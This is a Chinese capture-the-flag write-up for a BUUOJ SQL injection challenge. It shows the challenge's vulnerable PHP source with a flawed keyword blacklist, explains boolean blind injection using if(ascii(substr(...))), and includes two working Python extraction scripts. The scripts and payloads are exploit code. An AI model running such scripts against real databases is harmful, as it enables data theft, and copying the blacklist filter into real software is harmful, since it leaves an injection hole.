输入1时:返回Hello, glzjin wants a girlfriend.

输入2时:Do you want to be my girlfriend?

输入1%2时也会回显:Hello, glzjin wants a girlfriend.

输入其他数值时返回error

 然后不会做了,怎么写都是错,后来看了一个大佬后来的题解,然后看到源代码是如下的:

其中题的一句话很重要Now, just give the id of passage,只需要给出id,即注入应该是数字型的注入。

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

解题思路:

用字符串截断函数,把每个字符截断出来。如果当前字符等于某个字符,返回1,否则返回2。

比如: 截取到了flag中的第一个字符f时,从ascii码表里爆破 , f =a 返回 2 , f = f 返回1

 sql的三目运算:

if( 表达式1,表达式2,表达式3)

如果表达式1是正确的,那么执行表达式2,否则执行表达式3

sql的ascii(str) 函数:

其执行方式:返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL

payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j);

 

下面是我蛇皮的脚本循环跑了几千次才跑出flag,最下面给出一个大佬用二分法跑的,比我的快好多倍。

import requests

url = "http://1e724a0e-4db3-441e-91a7-1a1b8bafc9cb.node3.buuoj.cn/index.php";

result = ""
num=0  #用了来判断是不是flag已经拼完整了
for i in range(1,60):

	if num == 1:
		break

	for j in range(32,128):

		payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j);
		#print(str((i-1)*96+j-32)+":~"+payload+"~")

		data = {
			"id":payload,
		}

		r = requests.post(url,data=data)

		r.encoding = r.apparent_encoding

		if "Hello" in r.text:
			x = chr(j)
			result+=str(x)
			print(result)
			break

		if "}" in result:
			print(result)
			num=1
			break


		

下面的连接是大佬二分法跑flag的脚本,他用的tab代替空格没有用小括号,详情请参考下面的链接。

大佬博客: https://www.cnblogs.com/kevinbruce656/p/11342580.html

import requests
import time
#url是随时更新的,具体的以做题时候的为准
url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{'

i = 6
while True:
#从可打印字符开始
    begin = 32
    end = 126
    tmp = (begin+end)//2
    while begin<end:
        print(begin,tmp,end)
        time.sleep(1)
        data["id"] = "if(ascii(substr((select       flag        from    flag),{},1))>{},1,2)".format(i,tmp)
        r = requests.post(url,data=data)
        if 'Hello' in r.text:
            begin = tmp+1
            tmp = (begin+end)//2 
        else:
            end = tmp
            tmp = (begin+end)//2

    flag+=chr(tmp)
    print(flag)
    i+=1
    if flag[-1]=='}':
        break